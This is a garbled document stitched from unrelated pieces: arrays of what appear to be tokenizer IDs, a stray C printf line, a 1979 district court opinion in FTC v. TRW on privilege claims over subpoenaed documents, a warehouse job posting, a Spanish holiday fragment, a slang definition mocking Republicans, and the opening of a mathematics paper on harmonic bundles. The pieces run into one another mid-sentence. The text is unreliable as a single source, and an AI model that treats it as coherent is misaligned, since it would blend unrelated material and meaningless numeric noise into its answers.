56, 434, 10266, 281, 436, 10473, 12162, 13, 401, 6669, 556, 26924, 697, 5266, 281, 7767, 253, 36674, 342, 1675, 281, 841, 7177, 15, 187, 60, 20, 62, 50276, 14131, 13, 841, 7829, 452, 47485, 247, 346, 28758, 1881, 14, 15419, 86, 800, 3, 15863, 15, 2594, 378, 433, 547, 13, 9253, 28, 24465, 1342, 362, 15, 1986, 2077, 13, 8676, 401, 15, 51, 15, 37, 15, 33152, 313, 52, 15, 37, 15, 47, 15, 58, 15, 25197, 558, 28896, 362, 15, 19989, 45217, 14, 35848, 571, 2434, 904, 8676, 401, 15, 51, 15, 37, 15, 34360, 313, 47, 15, 37, 15, 20750, 15, 25197, 558, 1457, 2816, 15725, 18517, 362, 15, 322, 37810, 13, 3307, 8529, 15, 51, 15, 13720, 15, 19, 69, 6783, 313, 52, 15, 37, 15, 47, 15, 58, 15, 19813, 481, 329, 10214, 1386, 273, 625, 3332, 2219, 34044, 281, 14409, 390, 4647, 824, 247, 15863, 15, 2594, 13, 299, 15, 305, 904, 24395, 362, 15, 330, 405, 2072, 50214, 2434, 904, 10677, 401, 15, 51, 15, 37, 15, 43111, 313, 38, 15, 37, 15, 30461, 15, 20087, 558, 38310, 362, 15, 10315, 13, 11275, 401, 15, 51, 15, 37, 15, 14509, 13, 15470, 313, 37, 15, 2973, 80, 15, 19791, 558, 17025, 362, 15, 39652, 3767, 434, 6029, 32805, 290, 7115, 13, 8187, 401, 15, 51, 15, 37, 15, 22761, 313, 52, 15, 37, 15, 47, 15, 58, 15, 19813, 558, 45494, 251, 362, 15, 401, 36902, 31910, 13, 11487, 401, 15, 51, 15, 37, 15, 5976, 313, 47, 15, 37, 15, 36179, 14304, 481, 1284, 253, 1302, 4879, 275, 17453, 362, 15, 6813, 4574, 13, 11439, 401, 15, 51, 15, 37, 15, 11275, 313, 56, 15, 37, 15, 9387, 15, 18647, 582, 954, 273, 253, 2219, 26182, 253, 15863, 29920, 253, 6413, 2111, 3061, 275, 1986, 2077, 362 ]

printf("ezNetCnfGetEnvData returned %d\n", rpcData->result); return rpcData->result; } 479 F.Supp. 160 (1979) FEDERAL TRADE COMMISSION, Petitioner, v. TRW, INC. and its unincorporated division, TRW Credit Data, Respondents. Misc. No. 79-0122. United States District Court, District of Columbia. September 6, 1979. *161 Warren S. Grimes, F. T. C., Washington, D. C., for petitioner. Robert H. Rawson, Jr., Washington, D. C., for respondents. MEMORANDUM AND ORDER HAROLD H. GREENE, District Judge. This is a proceeding under Section 9 of the Federal Trade Commission Act, 15 U.S.C. § 49, and Section 621(a) of the Fair Credit Reporting Act (FCRA), 15 U.S.C. § 1681s(a), to enforce a subpoena duces *162 tecum.[1] Petitioner, the Federal Trade Commission (FTC), seeks the documents as part of an ongoing investigation to determine whether respondent, TRW, Inc. (TRW), is engaging in practices which violate various sections of the FCRA. Two groups of documents are at issue in this proceeding.[2] The first group, consisting of documents # 001-165 and 183-184, were withheld by TRW on grounds of a qualified "self-evaluative" privilege. The second group, consisting of documents # 180-182, were withheld on grounds of attorney-client privilege. As explained below, the Court does not find either of these grounds to be sufficient in this case. Documents # 001-165 and 183-184 consist of reports and responses compiled by TRW in the course of a National Consumer Relations Audit which, according to TRW, has been conducted since 1973 to ensure compliance with applicable laws by: (1) maintaining uniform and consistent procedures in its numerous branch consumer relations offices, and (2) developing an audit procedure to provide management and legal counsel with valuable and necessary information to be used in formulating new and improved policies. TRW argues that since the documents contain self-analysis and self-criticism and have been treated some-what confidentially within TRW, they are properly withheld under the "self-evaluative" privilege, which promotes the strong public policy of encouraging such internal evaluations. The FTC argues that there is no recognized "self-evaluative" privilege, particularly in the context of a law enforcement agency's subpoena enforcement proceeding, and that, in any case, these documents would not fall within its purview. The Court agrees. While in a line of cases, beginning with Bredice v. Doctors Hospital, Inc., 50 F.R.D. 249 (D.D.C.1970), district courts have, in the exercise of their discretion, denied discovery of certain "self-evaluative" materials to private litigants where an overwhelming public interest favored their continued confidentiality,[3] appellate courts have not done so. See, e. g., Dixon v. So. Pine Street Corporation, 516 F.2d 1278 (2d Cir. 1975). As was pointed out in Lloyd v. Cessna Aircraft Co., 74 F.R.D. 518, 522 (E.D.Tenn. 1977), "the qualified privilege... at the most remains largely undefined and has not generally been recognized...." Moreover, there are no cases in which a law enforcement agency, seeking documents pursuant to its statutory subpoena power in the course of an investigation, has been denied such discovery.[4] In that *163 regard, the courts have uniformly refused to recognize a "privilege." See, e. g., Reynolds Metal Co. v. Rumsford, 564 F.2d 663, 667 (4th Cir. 1976); United States v. Noall, 587 F.2d 123, 125-26 (2d Cir. 1978). Compare Banks v. Lockheed-Georgia Co., 53 F.R.D. 283 (N.D.Ga.1971) (private discrimination plaintiffs cannot obtain preliminary report analyzing defendant company's equal employment opportunity problems and affirmative programs) with Reynolds Metals Co. v. Rumsfeld, supra (EEOC can obtain copies of civil rights compliance program and related documents). Even if this Court were to recognize the privilege, however, as the cases applying it point out, it is only a qualified one, and TRW's withheld documents would not fall within its purview.[5] In most instances, the best sources of information about corporate activities are corporate informational mechanisms designed to provide management with the information necessary to make informed business decisions. The documents at issue here contain information at the heart of the FTC's investigation. There is always an arguable need for confidentiality, and elements of self-evaluation and analysis, with respect to these sources. In that regard, the Court does not accept TRW's naked assertion that ordering their disclosure will have a "chilling effect" on future self-evaluative activities. It may be presumed that corporations will continue to monitor themselves to ensure their compliance with the law, as they have done in the past, without the added incentive of a "selfevaluative" privilege. For these reasons, the Court holds that Documents # 001-165 and 183-184 are not privileged and must be produced. In order to protect any personal expectations of privacy which may inhere in them, however, the Court will order identifying information to be deleted from employee evaluations. Documents # 180-182 consist of a proposal for work to be performed for TRW by the Stanford Research Institute (SRI), a preliminary draft report, and a final report delivered to TRW. TRW seeks to withhold these documents based upon the attorney-client privilege, on the ground that they assisted TRW's lawyers in evaluating TRW's credit reporting system and in preparing for possible litigation with the FTC. This claim is not persuasive. First, even assuming the documents were created to secure legal advice, the findings were sufficiently circulated within TRW as to negate the intention of confidentiality. When a document is prepared for simultaneous review by non-legal as well as legal personnel, it is not considered to have been prepared primarily to seek legal advice and the attorney-client privilege does not apply. United States v. International Business Machines Corp., 66 F.R.D. 206, 213 (S.D.N.Y.1974).[6] More importantly, however, the documents were prepared by an entity outside of TRW. The Attorney-Client privilege does not extend to information and statements obtained by an attorney from third persons. 8 Wright & Miller, Federal Practice and Procedure: Civil § 2017 at 137 (1970); Bird v. Penn Central Co., 61 F.R.D. 43, 46-48 (E.D.Pa.1973);[7]Jack Winter, Inc. *164 v. Koratron Co., 54 F.R.D. 44 (N.D.Calif. 1971). Thus, the privilege does not extend to information disclosed to an attorney by a person outside the organization of a corporate client and its affiliates. United States v. United Shoe Machinery Corp., 89 F.Supp. 357, 358-59 (D.Mass.1950); City of Philadelphia v. Westinghouse Electric Corp., 210 F.Supp. 483, 484 (E.D.Pa.1962). The Stanford Research Institute is such an external entity. For these reasons the Court holds that Documents # 180-182 are not privileged and must be produced. Accordingly, it is this 5th day of September, 1979, ORDERED That petitioner's application to enforce compliance with its subpoena duces tecum be and it is hereby granted, and it is further ORDERED That respondent produce forthwith to petitioner Documents # 001-165 and 180-184 as defined herein. NOTES [1] The subpoena was originally issued on May 21, 1976, and has since been revised. [2] A third group, consisting of documents # 166-179, were withheld on grounds of attorney-client privilege. As the result of information produced in TRW's opposition to this enforcement proceeding, FTC has withdrawn its petition to enforce the subpoena with respect to these documents. [3] Thus, these courts have fashioned a "qualified self-evaluative" privilege. See Bredice, supra; Gillman v. United States, 53 F.R.D. 316 (S.D.N.Y.1971); Banks v. Lockheed-Georgia Co., 53 F.R.D. 283 (N.D.Ga.1971); New York Stock Exchange v. Sloan, 22 Fed.R.Serv.2d 500 (S.D.N.Y.1976). A contrary line of more recent cases declines to acknowledge or apply such a privilege. See, e. g., Lloyd v. Cessna Aircraft Co., 74 F.R.D. 518 (E.D.Tenn.1977); Davidson v. Light, 79 F.R.D. 137, 139 (D.Colo.1978); Wright v. Patrolmen's Benevolent Association, 72 F.R.D. 161 (S.D.N.Y.1976); Ligon v. Frito Lay, 82 F.R.D. 42 (N.D.Texas 1978). As the court noted in Robinson v. Magovern, 83 F.R.D. 79 (W.D.Pa.1979), most of the cases recognizing the privilege preceded the Supreme Court decision in United States v

[ 309, 1955, 281, 253, 2793, 1268, 15, 187, 187, 4814, 26231, 9594, 285, 26602, 16480, 6720, 27, 313, 16680, 436, 2554, 310, 3264, 281, 14294, 10, 688, 6547, 533, 417, 3710, 281, 27, 187, 187, 22708, 6194, 275, 15076, 13, 6883, 13, 285, 2144, 10885, 16, 22214, 15, 187, 187, 5703, 84, 789, 1340, 390, 3637, 7946, 7997, 281, 24228, 4753, 390, 17671, 281, 320, 4395, 15, 187, 187, 9624, 84, 285, 440, 2799, 84, 4753, 4830, 390, 432, 5796, 6639, 13, 492, 698, 13, 391, 7305, 13, 285, 30058, 407, 1133, 15, 187, 187, 9624, 84, 4753, 715, 9411, 285, 3334, 84, 3405, 2784, 13, 1308, 4234, 13, 390, 13294, 281, 3657, 19507, 390, 4723, 275, 18622, 15, 187, 187, 1773, 306, 656, 4753, 432, 5718, 390, 789, 4375, 281, 13205, 2170, 15, 187, 187, 4538, 980, 20284, 37969, 281, 4753, 285, 11785, 656, 3301, 281, 12095, 390, 6298, 1531, 1351, 390, 8511, 9020, 9158, 281, 2118, 3301, 281, 12095, 15, 187, 187, 6878, 84, 13, 40581, 13, 285, 5861, 1180, 273, 5085, 273, 4753, 4395, 390, 15726, 327, 5312, 3275, 8335, 15, 187, 187, 6601, 3844, 12488, 14610, 390, 13301, 281, 4753, 390, 10880, 1491, 327, 2219, 13, 270, 2339, 13, 390, 643, 17671, 15, 187, 187, 9624, 84, 9988, 323, 24148, 42712, 48710, 15, 187, 187, 998, 7305, 390, 347, 40275, 4753, 715, 25663, 285, 10604, 25663, 2366, 15, 187, 187, 2019, 11441, 7118, 273, 18001, 39773, 2366, 390, 5053, 39773, 7118, 327, 8336, 390, 12783, 281, 12454, 4866, 273, 4753, 390, 3580, 15, 187, 187, 8494, 11625, 3530, 273, 4753, 13, 13301, 342, 12488, 1491, 13, 285, 3936, 3530, 281, 9965, 323, 1783, 15, 187, 187, 45, 8515, 5536, 5113, 407, 1133, 390, 342, 1612, 8511, 382, 13, 285, 30671, 789, 2170, 13, 10679, 13, 285, 6500, 281, 10073, 5145, 9158, 15, 187, 187, 48468, 2969, 23927, 390, 25931, 824, 347, 1524, 525, 272, 39978, 390, 15706, 41791, 15, 187, 187, 1909, 40275, 1531, 684, 281, 3831, 3580, 824, 347, 10679, 390, 9411, 15, 187, 187, 49498, 652, 84, 13155, 4753, 824, 347, 7537, 13, 33791, 13, 18494, 13, 45896, 13, 390, 17110, 13, 715, 5145, 8511, 13906, 390, 715, 9411, 285, 17671, 824, 347, 9530, 2009, 8111, 13, 18572, 9988, 13, 390, 33545, 15, 187, 187, 10996, 684, 9787, 9988, 390, 5637, 8511, 382, 281, 10073, 275, 10935, 390, 4886, 4753, 285, 3580, 15, 187, 187, 29618, 84, 247, 4466, 326, 2987, 281, 5115, 285, 6558, 271, 7343, 1959, 21853, 15, 187, 187, 29618, 84, 247, 4466, 326, 2987, 281, 5115, 285, 6558, 10800, 2419, 23492, 31925, 15, 187, 187, 20459, 28003, 1227, 10286, 285, 24486, 6787, 27, 187, 187, 1703, 10579, 6570, 16, 4237, 10810, 42, 17740, 27, 4855, 2143, 11833, 3691, 390, 2087, 4730, 4248, 313, 40, 1703, 10, 342, 247, 5927, 273, 767, 1107, 457, 2905, 2793, 285, 16, 263, 3733, 28, 390, 6425, 5019, 273, 4730, 285, 2793, 15, 187, 187, 47043, 54, 7669, 27, 3506, 874, 281, 1239, 285, 4665, 7177, 824, 347, 5252, 4803, 13, 6498, 285, 9363, 7997, 13, 285, 5199, 11595, 84, 15, 3506, 874, 281, 3630, 10934, 5012, 285, 17668, 15, 3506, 874, 281, 3984, 8069, 1078, 2390, 273, 6383, 390, 6171, 273, 6003, 15, 187, 187, 15090, 1922, 15090, 25129, 18460, 10592, 52, 27, 3506, 874, 281, 823, 13, 43444, 13, 30247, 13, 285, 10957, 275, 512, 5085, 273, 2557, 13, 970, 2644, 3904, 13, 1846, 17711, 13, 285, 1086, 21185, 15, 3506, 874, 281, 11897, 2281, 13, 4313, 13, 285, 2558, 285, 281, 3812, 285, 4665, 2534, 14580, 15, 187, 187, 1848, 1719, 1139, 2637, 12056, 11913, 27, 3506, 874, 281, 4647, 1846, 3282, 4685, 281, 4459, 562, 7997, 25032, 275, 3542, 13, 7946, 13, 390, 10659, 830, 15, 3506, 874, 281, 2968, 342, 3237, 7668, 2067, 11859, 4903, 275, 19817, 9534, 15, 187, 187, 39835, 18460, 10592, 52, 4889, 12056, 3077, 1433, 9785, 27, 19680, 320, 2104, 281, 2489, 323, 7261, 2094, 18065, 1561, 1884, 1897, 15, 3506, 874, 281, 897, 8137, 5657, 313, 1205, 376, 332, 13, 5148, 37946, 13, 6848, 4331, 10, 281, 1616, 1885, 15, 3506, 874, 281, 1239, 285, 4665, 15759, 21780, 15, 187, 187, 6663, 6328, 25129, 5689, 8846, 29349, 39307, 27, 3900, 9591, 253, 12803, 273, 436, 2628, 13, 253, 8183, 310, 7208, 2424, 281, 1462, 28, 2940, 28, 897, 3564, 281, 9185, 13, 6016, 13, 390, 1928, 28, 3986, 342, 3564, 285, 6174, 285, 2312, 390, 4089, 15, 380, 8183, 310, 13949, 2424, 281, 1790, 28, 12394, 390, 6654, 285, 4806, 412, 13, 7725, 293, 13, 1531, 9764, 13, 390, 37431, 15, 380, 8183, 1364, 13949, 8488, 285, 16, 263, 2118, 598, 281, 2456, 12511, 15, 26602, 8113, 15277, 2424, 407, 436, 2628, 2486, 2810, 8113, 13, 4181, 8113, 13, 3295, 8113, 13, 10844, 8113, 13, 6864, 13071, 285, 3745, 281, 4575, 2770, 19680, 320, 2104, 281, 8251, 12107, 3174, 21417, 285, 643, 367, 3246, 347, 2424, 407, 253, 7811, 15, 187, 187, 30764, 16449, 55, 3027, 1139, 10634, 27, 3900, 9591, 253, 12803, 273, 436, 21591, 13, 253, 8183, 310, 11719, 7329, 281, 269, 9181, 390, 42864, 6353, 15, 380, 8183, 310, 7208, 7329, 281, 4886, 8651, 4243, 285, 3345, 8588, 2515, 15, 380, 8183, 310, 13949, 7329, 281, 1029, 13, 3509, 37993, 5053, 285, 22634, 15, 380, 6046, 1268, 275, 253, 789, 3126, 310, 3798, 10290, 15, 2115, 80, 18429, 20789, 13, 1144, 13167, 546, 45431, 14799, 17630, 78, 1288, 1758, 38106, 295, 584, 1045, 17985, 1950, 902, 86, 340, 826, 4231, 571, 372, 3905, 8221, 10045, 13, 38106, 13647, 810, 7080, 1045, 34939, 32444, 372, 509, 435, 343, 345, 28870, 2921, 396, 373, 32305, 20217, 13, 340, 1753, 13647, 31789, 510, 2180, 275, 247, 5086, 434, 1495, 13, 5431, 875, 2363, 273, 3435, 14, 1867, 672, 344, 18382, 28134, 281, 23822, 266, 25680, 15, 8714, 84, 273, 1234, 22651, 555, 2486, 11298, 281, 2312, 5553, 13, 440, 43274, 264, 16157, 670, 2675, 5659, 824, 347, 15519, 13, 4180, 272, 247, 2389, 323, 6793, 952, 285, 1698, 10474, 13, 19947, 273, 643, 952, 434, 43371, 1204, 2308, 15, 1532, 187, 7582, 27, 187, 14, 686, 43, 8824, 1541, 500, 493, 13, 714, 74, 14, 28777, 19028, 5180, 18, 1092, 285, 42828, 1503, 26826, 8, 187, 5564, 27, 1040, 187, 50274, 36, 1368, 297, 5970, 273, 440, 39490, 23007, 25663, 689, 15539, 14, 10408, 422, 19112, 309, 8048, 187, 50274, 510, 1083, 273, 1327, 36648, 9191, 187, 1532, 187, 187, 14214, 187, 7770, 187, 187, 1466, 669, 4862, 322, 5, 320, 247, 8566, 25571, 2553, 313, 11171, 13468, 6970, 10, 273, 15443, 370, 72, 1352, 1281, 370, 81, 64, 18, 13, 187, 81, 64, 19, 13, 393, 7718, 13, 268, 64, 84, 5, 320, 370, 84, 31, 17, 5, 2792, 327, 352, 28, 841, 2792, 4853, 247, 11812, 13, 285, 359, 9173, 253, 1527, 25571, 2553, 2367, 4862, 322, 889, 12750, 6921, 81, 64, 18, 13, 393, 6768, 13, 268, 64, 84, 10952, 407, 370, 52, 1352, 2091, 370, 20, 72, 14, 20, 12, 84, 31, 17, 1366, 352, 15814, 247, 3426, 28095, 7982, 273, 6486, 4644, 13, 253, 594, 14, 8890, 46857, 7982, 28, 253, 2792, 370, 81, 64, 18, 13, 187, 81, 64, 19, 13, 393, 7718, 13, 268, 64, 84, 5, 840, 2489, 260, 316, 793, 387, 23579, 15, 4952, 275, 253, 5780, 2219, 13, 326, 310, 13, 323, 247, 2378, 390, 7019, 17256, 1520, 15269, 13, 359, 476, 30787, 370, 52, 5, 342, 247, 7982, 326, 310, 28095, 275, 253, 21520, 273, 253, 260, 14147, 9, 84, 582, 285, 323, 776, 6378, 13, 253, 3879, 273, 253, 7982, 627, 310, 512, 752, 9372, 13, 285, 359, 1067, 824, 247, 7982, 46857, 14, 3022, 15, 496, 667, 1083, 13, 776, 7982, 327, 370, 52, 5, 310, 17007, 407, 669, 3151, 1352, 44092, 253, 11250, 3711, 273, 370, 52, 5, 275, 669, 4862, 322, 5, 407, 370, 75, 1352, 1281, 669, 2859, 27, 393, 2059, 64, 18, 9, 52, 1572, 936, 187, 10612, 9, 79, 13, 393, 1991, 92, 36, 6580, 320, 247, 49863, 45501, 4872, 6779, 273, 669, 2059, 64, 18, 9, 52, 1009, 534, 310, 440, 39490, 2822, 253, 260, 316, 793, 313, 1542, 253, 10799, 5426, 13, 21194, 15, 3015, 19, 15, 18, 481, 3094, 29078, 281, 824, 247, 6779, 669, 2859, 1366, 581, 556, 247, 1980, 985, 370, 45, 1126, 2859, 724, 689, 370, 52, 5, 285, 247, 669, 2859, 2911, 8275, 6410, 23007, 3711, 370, 73, 27, 322, 61, 936, 7335, 9, 79, 13, 393, 1991, 92, 36, 94, 1933, 6971, 9, 79, 1009, 342, 247, 2176, 2714, 3116, 1617, 2822, 253, 11812, 15, 1198, 253, 1246, 1083, 273, 2570, 7877, 337, 13, 436, 310, 18307, 28, 352, 671, 3637, 432, 253, 2087, 906, 273, 1008, 75, 91, 14, 4196, 1092, 923, 671, 253, 7579, 275, 3015, 19, 15, 19, 481, 831, 23007, 3711, 476, 320, 2783, 347, 247, 19423, 34851, 7982, 327, 370, 45, 1126, 2859, 724, 1128, 38474, 7982, 1128, 601, 326, 359, 452, 247, 594, 14, 8890, 23007, 13204, 3019, 45, 1126, 2859, 2023, 288, 1009, 1008, 3549, 14, 2270, 1570, 6102, 247, 13204, 15814, 4722, 5289, 13, 299, 15, 72, 15, 247, 22361, 13204, 2605, 3019, 38, 13, 393, 3124, 4244, 835, 669, 3124, 2029, 3214, 288, 1366, 285, 352, 556, 247, 669, 2808, 2911, 48750, 414, 387, 253, 11812, 15, 187, 187, 510, 4096, 273, 436, 3877, 310, 281, 7409, 2710, 8126, 297, 5970, 273, 669, 4862, 322, 5, 342, 25273, 839, 10303, 370, 45, 1126, 2859, 724, 313, 46779, 347, 247, 1980, 985, 1905, 247, 6507, 4972, 13204, 13, 247, 22361, 13204, 13, 390, 247, 669, 1588, 92, 37, 15728, 8640, 13, 7293, 327, 253, 3634, 2262, 4299, 783, 11437, 223, 5036, 30367, 273, 370, 75, 15570, 45, 1126, 2859, 724, 7444, 313, 9939, 326, 275, 253, 2169, 15759, 1083, 13, 581, 3198, 281, 1908, 253, 3969, 15171, 30367, 1008, 29676, 78, 6660, 4299, 783, 370, 45, 63, 19, 2911, 5905, 26929, 13, 253, 370, 45, 63, 19, 2911, 37, 311, 1257, 1923, 30367, 13, 285, 253, 370, 45, 63, 19, 2911, 34969, 5943, 30367, 13, 285, 253, 7688, 875, 731, 7444, 15, 3856, 13, 370, 45, 63, 19, 5, 310, 2931, 407, 970, 253, 46857, 1490, 3022, 10, 7982, 669, 3151, 5, 285, 253, 23007, 7982, 370, 73, 1352, 844, 971, 281, 39970, 253, 1543, 1008, 91, 1028, 14, 2787, 62, 3588, 323, 253, 1083, 273, 10575, 273, 45746, 5289, 313, 55, 8282, 10, 281, 253, 1083, 273, 23007, 25663, 13, 347, 369, 5125, 407, 29480, 1008, 3549, 14, 2270, 2194, 275, 8063, 13, 275, 1859, 273, 776, 9376, 327, 253, 14237, 275, 1953, 1146, 440, 39490, 13, 253, 4112, 943, 320, 2074, 281, 253, 1083, 273, 657, 8282, 15, 187, 187, 1552, 2929, 310, 5486, 281, 320, 247, 629, 273, 253, 2087, 2086, 273, 12392, 8126, 297, 5970, 342, 25273, 839, 10303, 327, 21582, 39552, 25667, 19112, 285, 616, 611, 41638, 757, 2087, 5904, 15, 380, 2087, 4388, 1060, 310, 417, 11096, 281, 253, 1083, 273, 9191, 4543, 281, 253, 581, 273, 14237, 326, 403, 440, 39490, 2822, 253, 11812, 15, 380, 4096, 273, 436, 3877, 3103, 310, 281, 16023, 4024, 387, 436, 1798, 1083, 835, 1142, 273, 253, 313, 42567, 285, 17856, 10, 12748, 273, 253, 2087, 1083, 403, 417, 1246, 752, 3910, 588, 3176, 672, 359, 1908, 440, 39490, 23007, 25663, 3185, 273, 657, 8282, 84, 28, 323, 253, 1083, 273, 657, 8282, 84, 13, 253, 2710, 8126, 297, 5970, 452, 644, 2783, 407, 2710, 4477, 1008, 6163, 28, 1214, 4213, 28, 1214, 859, 28, 1214, 8202, 18, 62, 285, 403, 973, 7192, 407, 1024, 15, 187, 187, 15, 20, 3591, 20197, 35838, 27, 4622, 831, 789, 369, 13207, 672, 253, 1273, 2488, 369, 13975, 11505, 91, 2499, 13, 285, 697, 2022, 629, 369, 6699, 672, 344, 11791, 387, 253, 7903, 38797, 6516, 323, 22718, 275, 253, 13416, 275, 2070, 47265, 15, 754, 6701, 253, 1840, 31935, 323, 34598, 285, 247, 1175, 2444, 3126, 15, 187, 187, 510, 12087, 2330, 342, 14237, 273, 7936, 2390, 187, 15256, 381, 187, 187, 510, 14717, 273, 247, 6507, 4602, 187, 35349, 187, 187, 688, 1340, 281, 1056, 436, 3877, 271, 10199, 715, 776, 2087, 2086, 13, 359, 6266, 690, 4114, 2144, 1060, 15, 380, 871, 1070, 72, 494, 9414, 778 ]

I due to the experience level. Key Responsibilities and Specific Accountabilities: (results this role is expected to accomplish)Including but not limited to: Cross train in shipping, receiving, and material handling/storage. Reads work order or follows oral instructions to ascertain materials or containers to be moved. Loads and unloads materials onto or from pallets, trays, racks, and shelves by hand. Loads materials into vehicles and installs strapping, bracing, or padding to prevent shifting or damage in transit. Conveys materials from storage or work sites to designated area. Secures lifting attachments to materials and conveys load to destination or signals crane or hoisting operators to move load to destination. Counts, weighs, and records number of units of materials moved or handled on daily production sheet. Attaches identifying tags or labels to materials or marks information on cases, bales, or other containers. Loads truck for Industrial Truck Operator. Stacks or assembles materials into bundles and bands bundles together. Clamps sections of portable conveyor together or places conveyor sections on blocks or boxes to facilitate movement of materials or products. Removes samples of materials, labels with identifying information, and takes samples to laboratory for analysis. Lifts heavy objects by hand or with power hoist, and cleans work area, machines, and equipment to assist machine operators. Makes simple adjustments or repairs such as realigning belts or replacing rollers. Assembles crates to contain products such as machines or vehicles. Shovels loose materials such as sand, gravel, metals, plastics, or chemicals, into machine hoppers or into vehicles and containers such as wheelbarrows, scrap truck, or barrels. Operates industrial truck or electric hoist to assist in loading or moving materials and products. Develops a culture that works to achieve and maintain an accident free workplace. Develops a culture that works to achieve and maintain ongoing housekeeping excellence. Job Knowledge / Education and Qualifications: EDUCATION/EXPERIENCE: High school diploma or general education degree (GED) with a minimum of two years’ related experience and/or training; or equivalent combination of education and experience. LANGUAGE: Ability to read and interpret documents such as safety rules, operating and maintenance instructions, and procedure manuals. Ability to write routine reports and correspondence. Ability to speak effectively before groups of customers or employees of organization. MATHEMATICAL SKILLS: Ability to add, subtract, multiply, and divide in all units of measure, using whole numbers, common fractions, and decimals. Ability to compute rate, ratio, and percent and to draw and interpret bar graphs. REASONING ABILITY: Ability to apply common sense understanding to carry out instructions furnished in written, oral, or diagram form. Ability to deal with problems involving several concrete variables in standardized situations. OTHER SKILLS AND ABILITIES: Must be able to become forklift certified within 30 days. Ability to use identification tools (engraver, metal stamps, paint pen) to mark product. Ability to read and interpret dimensional drawings. PHYSICAL REQUIREMENTS: While performing the duties of this job, the employee is frequently required to stand; walk; use hands to finger, handle, or feel; reach with hands and arms and talk or hear. The employee is occasionally required to sit; climb or balance and stoop, kneel, crouch, or crawl. The employee must occasionally lift and/or move up to 50 pounds. Specific vision abilities required by this job include close vision, distance vision, color vision, peripheral vision, depth perception and ability to adjust focus Must be able to wear protective footwear and other PPE as required by the department. WORK ENVIRONMENT: While performing the duties of this Job, the employee is regularly exposed to fumes or airborne particles. The employee is frequently exposed to moving mechanical parts and outside weather conditions. The employee is occasionally exposed to high, precarious places and vibration. The noise level in the work environment is usually moderate.Como sabemos, estamos en época decembrina donde nace el espíritu y la magia de La Navidad, donde nos regala el mensaje de compartir con nuestros seres queridos, y que nos [...]The period in a male's life, typically between age of 27-39 when he succumbs to republican ideology. Signs of repuberty include listening to talk radio, unprompted remarks about social programs such as welfare, professing a love for rich people and low taxes, ranking of other people's patriotism levels.--- author: - 'Jürgen Jost, Yi-Hu Yang[^1], and Kang Zuo' title: | Cohomologies of unipotent harmonic bundles over quasi-projective varieties I:\ The case of noncompact curves --- Introduction ============ Let $\overline S$ be a compact Riemann surface (holomorphic curve) of genus $g$. Let $p_1, p_2, \cdots, p_s$ be $s>0$ points on it; these points define a divisor, and we denote the open Riemann surface ${\overline S}\setminus\{p_1, \dots, p_s\}$ by $S$. When $3g-3+s>0$, it carries a complete hyperbolic metric of finite volume, the so-called Poincaré metric; the points $p_1, p_2, \cdots, p_s$ then become cusps at infinity. Even in the remaining cases, that is, for a once or twice punctured sphere, we can equip $S$ with a metric that is hyperbolic in the vicinity of the cusp(s), and for our purposes, the behavior of the metric there is all what counts, and we call such a metric Poincaré-like. In any case, our metric on $S$ is denoted by $\omega$. Denote the inclusion map of $S$ in $\overline S$ by $j$. Let $\rho: \pi_1(S)\to Sl(n, \mathbb{C})$ be a semisimple linear representation of $\pi_1(S)$ which is unipotent near the cusps (for the precise definition, cf. §2.1). Corresponding to such a representation $\rho$, one has a local system $L_{\rho}$ over $S$ and a $\rho$-equivariant harmonic map $h: S\to Sl(n, \mathbb{C})/SU(n)$ with a certain special growth condition near the divisor. For the present case of complex dimension 1, this is elementary; it also follows from the general result of [@jz-96], see also the remark in §2.2). This harmonic map can be considered as a Hermitian metric on $L_{\rho}$—harmonic metric—so that we have a so-called harmonic bundle $(L_{\rho}, h)$ [@sim-90]. Such a bundle carries interesting structures, e.g. a Higgs bundle structure $(E, \theta)$, where $\theta=\partial h$, and it has a $\log$-singularity at the divisor. The purpose of this note is to investigate various cohomologies of $\overline S$ with degenerating coefficients $L_{\rho}$ (considered as a local system — a flat vector bundle, a Higgs bundle, or a $\mathcal{D}$-module, depending on the context): [**the Čech cohomology of $j_*L_{\rho}$**]{} (note that in the higher dimensional case, one needs to consider the corresponding intersection cohomology [@cgm]), [**the $L^2$-cohomology, the $L^2$-Dolbeault cohomology, and the $L^2$-Higgs cohomology, and the relationships between them**]{}. Here, $L^2$ is defined by using the Poincaré(-like) metric $\omega$ and the harmonic metric $h$. We want to generalize the results [@zuc-79] valid for the case of variations of Hodge structures (VHS) to the case of harmonic bundles, as was suggested by Simpson [@sim-90]; in principle, in view of our assumption on the representations in question being unipotent, the situation should be similar to the case of VHS. This paper is meant to be a part of the general program of studying cohomologies with degenerating coefficients on quasiprojective varieties and their Kählerian generalizations. The general aim here is not restricted to the case of curves nor to the one of representations that are unipotent near the divisor. The purpose of this note therefore is to illuminate at this particular case where many of the (analytic and geometric) difficulties of the general case are not present what differences will appear when we consider unipotent harmonic bundles instead of VHSs; for the case of VHSs, the various cohomologies have been considered by various authors [@cks; @lo; @ss; @yan1] and are well understood by now. .3cm[*Acknowledgements:*]{} This work was begun when the second author was visiting Mainz University, and its main part was finished when he stayed at the Max Planck Institute for Mathematics in the Sciences in Leipzig. He thanks the above Institutes for hospitality and a good working environment. The geometry associated with representations of fundamental groups ================================================================== The decomposition of a flat connection -------------------------------------- In order to make this note an introduction into our general program, we describe some background material here. The knowledgable reader may

[ 310, 281, 755, 25493, 15, 187, 187, 15542, 2196, 323, 37571, 17969, 497, 8523, 3715, 407, 18228, 323, 41929, 17947, 285, 1996, 8671, 407, 253, 19267, 285, 10236, 17057, 15, 496, 1635, 281, 31079, 272, 285, 643, 7259, 908, 281, 1679, 257, 253, 2442, 323, 5820, 281, 9569, 17969, 13, 6938, 8667, 310, 11719, 2684, 15, 40445, 5216, 6388, 3057, 10855, 285, 1863, 5375, 13, 285, 8091, 33605, 403, 4217, 13225, 15, 308, 5047, 272, 941, 7729, 4413, 7472, 557, 30295, 37469, 285, 3653, 1880, 2176, 39469, 403, 46447, 715, 616, 247, 339, 13683, 5162, 3672, 15, 6365, 20038, 14, 3169, 12277, 313, 10328, 347, 432, 24742, 6943, 862, 285, 657, 614, 76, 10, 285, 730, 19671, 12277, 313, 70, 15, 72, 904, 12761, 22643, 432, 29236, 40073, 10, 1361, 4271, 24920, 839, 39469, 15, 380, 12285, 19901, 717, 2275, 10833, 13042, 366, 313, 45, 1556, 10, 6981, 310, 908, 323, 990, 37084, 5175, 1905, 285, 253, 21172, 556, 3863, 247, 12925, 327, 697, 897, 15, 6037, 13, 23467, 13, 8099, 13, 285, 6500, 9421, 403, 5762, 285, 11719, 22269, 15, 5201, 39367, 1103, 908, 281, 4076, 7826, 25493, 9421, 2486, 